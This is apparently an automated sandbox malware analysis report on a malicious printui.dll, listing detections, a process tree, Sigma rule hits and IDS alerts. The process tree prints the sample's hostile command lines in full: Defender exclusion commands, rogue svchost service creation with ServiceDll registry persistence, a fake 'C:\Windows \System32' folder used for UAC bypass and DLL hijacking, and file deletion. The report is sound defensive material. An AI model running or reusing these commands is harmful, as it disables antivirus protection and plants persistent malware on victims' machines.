Edit tour

Windows Analysis Report
printui.dll

Overview

General Information

Sample name:	printui.dll
Analysis ID:	1514428
MD5:	a9b4742ab300d91fcb97751d071932ab
SHA1:	13b16e0a6d2a0e139d62ea64f5c52feabc01e0e9
SHA256:	9a55de90b6dad957506e91a1f84ded56512bceeb85655d4f9bd11e508d6c6424
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: TrustedPath UAC Bypass Pattern

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates a Windows Service pointing to an executable in C:\Windows

Creates files in the system32 config directory

Drops executables to the windows directory (C:\Windows) and starts them

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Interactive PowerShell as SYSTEM

Sigma detected: Suspicious New Service Creation

Uses cmd line tools excessively to alter registry or file data

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Conhost Spawned By Uncommon Parent Process

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 2084 cmdline: loaddll64.exe "C:\Users\user\Desktop\printui.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2568 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\printui.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 1612 cmdline: rundll32.exe "C:\Users\user\Desktop\printui.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2196 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6672 cmdline: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7460 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7492 cmdline: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7856 cmdline: C:\Windows\system32\cmd.exe /c sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7872 cmdline: sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 8032 cmdline: C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

reg.exe (PID: 8048 cmdline: reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8152 cmdline: C:\Windows\system32\cmd.exe /c sc.exe start Z422697 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 8168 cmdline: sc.exe start Z422697 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3368 cmdline: C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 4280 cmdline: cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

timeout.exe (PID: 5808 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

Conhost.exe (PID: 5848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6724 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5888 cmdline: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7452 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7484 cmdline: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7820 cmdline: C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7836 cmdline: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 8000 cmdline: C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

reg.exe (PID: 8016 cmdline: reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8092 cmdline: C:\Windows\system32\cmd.exe /c sc.exe start Z295699 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 8108 cmdline: sc.exe start Z295699 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1184 cmdline: C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6128 cmdline: cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

timeout.exe (PID: 5672 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699 MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 6860 cmdline: "powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Z369335.exe (PID: 7548 cmdline: "C:\Windows\System32\winsvcf\Z369335.exe" MD5: D3A3F2DB2AA3FD494F3E67601087AB23)

cmd.exe (PID: 7476 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7744 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8112 cmdline: cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z369335.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z369335.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8168 cmdline: timeout /t 5 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

Z369335.exe (PID: 7236 cmdline: "C:\Windows\System32\Z369335.exe" MD5: D3A3F2DB2AA3FD494F3E67601087AB23)

cmd.exe (PID: 744 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5700 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7180 cmdline: cmd.exe /c sc stop Z295699 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1696 cmdline: sc stop Z295699 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2056 cmdline: cmd.exe /c sc delete Z295699 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7396 cmdline: sc delete Z295699 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1460 cmdline: cmd.exe /c sc stop Z422697 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7544 cmdline: sc stop Z422697 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5688 cmdline: cmd.exe /c sc delete Z422697 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1364 cmdline: sc delete Z422697 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2344 cmdline: cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2916 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z369335.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 352 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

Conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4484 cmdline: "powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8188 cmdline: C:\Windows\System32\svchost.exe -k DcomLaunch -s Z422697 MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7176 cmdline: "powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Z753638.exe (PID: 7656 cmdline: "C:\Windows\System32\winsvcf\Z753638.exe" MD5: D3A3F2DB2AA3FD494F3E67601087AB23)

cmd.exe (PID: 1720 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1984 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6328 cmdline: cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z753638.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z753638.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6664 cmdline: timeout /t 5 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

Z753638.exe (PID: 3400 cmdline: "C:\Windows\System32\Z753638.exe" MD5: D3A3F2DB2AA3FD494F3E67601087AB23)

cmd.exe (PID: 7408 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3192 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7272 cmdline: cmd.exe /c sc stop Z295699 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4408 cmdline: sc stop Z295699 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7188 cmdline: cmd.exe /c sc delete Z295699 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1852 cmdline: sc delete Z295699 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7012 cmdline: cmd.exe /c sc stop Z422697 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5196 cmdline: sc stop Z422697 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7736 cmdline: cmd.exe /c sc delete Z422697 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 940 cmdline: sc delete Z422697 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1188 cmdline: cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

usvcinsta64.exe (PID: 3868 cmdline: "C:\Windows\System32\usvcinsta64.exe" MD5: 43C6FE029E5715FD35DA5197439DF163)

cmd.exe (PID: 4124 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6332 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6908 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7084 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7752 cmdline: cmd.exe /c mkdir "\\?\C:\Windows \System32" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 512 cmdline: cmd.exe /c start "" "C:\Windows \System32\printui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

printui.exe (PID: 7472 cmdline: "C:\Windows \System32\printui.exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)

printui.exe (PID: 4548 cmdline: "C:\Windows \System32\printui.exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)

printui.exe (PID: 1144 cmdline: "C:\Windows \System32\printui.exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)

cmd.exe (PID: 1888 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3412 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5948 cmdline: cmd.exe /c sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x841418\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x841418.dat" /f && sc start x841418 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7464 cmdline: sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7412 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7932 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 5664 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z753638.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4348 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 1880 cmdline: "powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows \System32\printui.exe" , CommandLine: "C:\Windows \System32\printui.exe" , CommandLine|base64offset|contains: , Image: C:\Windows \System32\printui.exe, NewProcessName: C:\Windows \System32\printui.exe, OriginalFileName: C:\Windows \System32\printui.exe, ParentCommandLine: cmd.exe /c start "" "C:\Windows \System32\printui.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 512, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows \System32\printui.exe" , ProcessId: 7472, ProcessName: printui.exe

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Windows\System32\usvcinsta64.exe, ProcessId: 3868, TargetFilename: C:\Windows \System32\printui.dll

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", CommandLine: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: loaddll64.exe "C:\Users\user\Desktop\printui.dll", ParentImage: C:\Windows\System32\loaddll64.exe, ParentProcessId: 2084, ParentProcessName: loaddll64.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", ProcessId: 6724, ProcessName: cmd.exe

Sigma detected: Suspicious Interactive PowerShell as SYSTEM

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7176, TargetFilename: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, CommandLine: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7820, ParentProcessName: cmd.exe, ProcessCommandLine: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, ProcessId: 7836, ProcessName: sc.exe

Sigma detected: Conhost Spawned By Uncommon Parent Process

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\printui.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 1612, ParentProcessName: rundll32.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 5676, ProcessName: conhost.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Files And Subdirectories Listing Using Dir

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit", CommandLine: C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: loaddll64.exe "C:\Users\user\Desktop\printui.dll", ParentImage: C:\Windows\System32\loaddll64.exe, ParentProcessId: 2084, ParentProcessName: loaddll64.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit", ProcessId: 1184, ProcessName: cmd.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, CommandLine: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7820, ParentProcessName: cmd.exe, ProcessCommandLine: sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto, ProcessId: 7836, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", CommandLine: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';", ProcessId: 5888, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699, CommandLine: C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699, ProcessId: 8124, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-20T12:14:43.114370+0200	2803305	3	Unknown Traffic	192.168.2.4	58631	185.199.108.133	443	TCP
2024-09-20T12:14:43.572319+0200	2803305	3	Unknown Traffic	192.168.2.4	58632	185.199.108.133	443	TCP
